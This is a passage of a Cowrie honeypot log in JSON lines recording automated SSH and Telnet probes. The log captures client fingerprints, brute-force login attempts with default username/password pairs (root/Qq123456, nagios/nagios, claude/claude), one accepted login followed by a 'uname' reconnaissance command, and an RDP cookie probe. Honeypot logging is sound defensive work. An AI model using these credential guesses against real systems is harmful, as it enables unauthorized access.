nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:16.758915Z","src_ip":"158.178.141.16","session":"c05c88beffcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:17.635119Z","src_ip":"158.178.141.16","session":"c05c88beffcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34218,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8cc33251eb3","protocol":"telnet","message":"New connection: 192.119.13.58:34218 (10.17.0.5:23) [session: c8cc33251eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:18.530499Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46778,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfe703579ec","protocol":"ssh","message":"New connection: 45.153.34.112:46778 (10.17.0.5:22) [session: 2dfe703579ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:18.675407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:18.680438Z","src_ip":"45.153.34.112","session":"2dfe703579ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:18.762749Z","src_ip":"45.153.34.112","session":"2dfe703579ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:18.849268Z","src_ip":"158.178.141.16","session":"c05c88beffcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:19.014907Z","src_ip":"45.153.34.112","session":"2dfe703579ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:20.207837Z","src_ip":"45.153.34.112","session":"2dfe703579ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60076,"dst_ip":"10.17.0.5","dst_port":22,"session":"d01b0968e275","protocol":"ssh","message":"New connection: 45.153.34.112:60076 (10.17.0.5:22) [session: d01b0968e275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:22.151159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:22.155515Z","src_ip":"45.153.34.112","session":"d01b0968e275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:22.237789Z","src_ip":"45.153.34.112","session":"d01b0968e275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:22.652960Z","src_ip":"45.153.34.112","session":"d01b0968e275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:23.743360Z","src_ip":"45.153.34.112","session":"d01b0968e275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58816,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5e58550bda","protocol":"telnet","message":"New connection: 192.119.13.58:58816 (10.17.0.5:23) [session: 7e5e58550bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:24.670138Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":46832,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fbcad94d2ac","protocol":"ssh","message":"New connection: 170.106.177.3:46832 (10.17.0.5:22) [session: 9fbcad94d2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:24.924659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:24.933204Z","src_ip":"170.106.177.3","session":"9fbcad94d2ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:25.002100Z","src_ip":"170.106.177.3","session":"9fbcad94d2ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootPassw0rd","message":"login attempt [root/rootPassw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:25.306025Z","src_ip":"170.106.177.3","session":"9fbcad94d2ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.051735162734985,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:25.738760Z","src_ip":"192.119.13.58","session":"3386461fca77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60090,"dst_ip":"10.17.0.5","dst_port":22,"session":"df676eab8fd4","protocol":"ssh","message":"New connection: 45.153.34.112:60090 (10.17.0.5:22) [session: df676eab8fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:25.768595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:25.773408Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:25.855302Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:26.104834Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:26.316703Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:26.320293Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:26.393076Z","src_ip":"170.106.177.3","session":"9fbcad94d2ac","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:26.406310Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:26.411093Z","src_ip":"45.153.34.112","session":"df676eab8fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60106,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ddb55033c3","protocol":"ssh","message":"New connection: 45.153.34.112:60106 (10.17.0.5:22) [session: 72ddb55033c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.162235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.166171Z","src_ip":"45.153.34.112","session":"72ddb55033c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.247856Z","src_ip":"45.153.34.112","session":"72ddb55033c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123","message":"login attempt [user/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.492799Z","src_ip":"45.153.34.112","session":"72ddb55033c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54147,"dst_ip":"159.203.135.109","dst_port":22,"session":"735fd80dbd57","protocol":"ssh","message":"New connection: 152.42.212.128:54147 (159.203.135.109:22) [session: 735fd80dbd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.785514Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.790251Z","src_ip":"152.42.212.128","session":"735fd80dbd57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:29.793660Z","src_ip":"152.42.212.128","session":"735fd80dbd57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:30.577513Z","src_ip":"45.153.34.112","session":"72ddb55033c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":40572,"dst_ip":"10.17.0.5","dst_port":22,"session":"60148c19b4dc","protocol":"ssh","message":"New connection: 43.153.112.253:40572 (10.17.0.5:22) [session: 60148c19b4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:30.839283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:30.843877Z","src_ip":"43.153.112.253","session":"60148c19b4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:30.911517Z","src_ip":"43.153.112.253","session":"60148c19b4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dick","message":"login attempt [root/dick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:31.214301Z","src_ip":"43.153.112.253","session":"60148c19b4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:32.285305Z","src_ip":"43.153.112.253","session":"60148c19b4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38070,"dst_ip":"10.17.0.5","dst_port":22,"session":"e676f6a6d265","protocol":"ssh","message":"New connection: 45.153.34.112:38070 (10.17.0.5:22) [session: e676f6a6d265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:32.779650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:32.784608Z","src_ip":"45.153.34.112","session":"e676f6a6d265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:32.866465Z","src_ip":"45.153.34.112","session":"e676f6a6d265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:33.115541Z","src_ip":"45.153.34.112","session":"e676f6a6d265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":52208,"dst_ip":"159.203.135.109","dst_port":23,"session":"c443b5e173ed","protocol":"telnet","message":"New connection: 186.195.16.41:52208 (159.203.135.109:23) [session: c443b5e173ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:37:33.589047Z"}
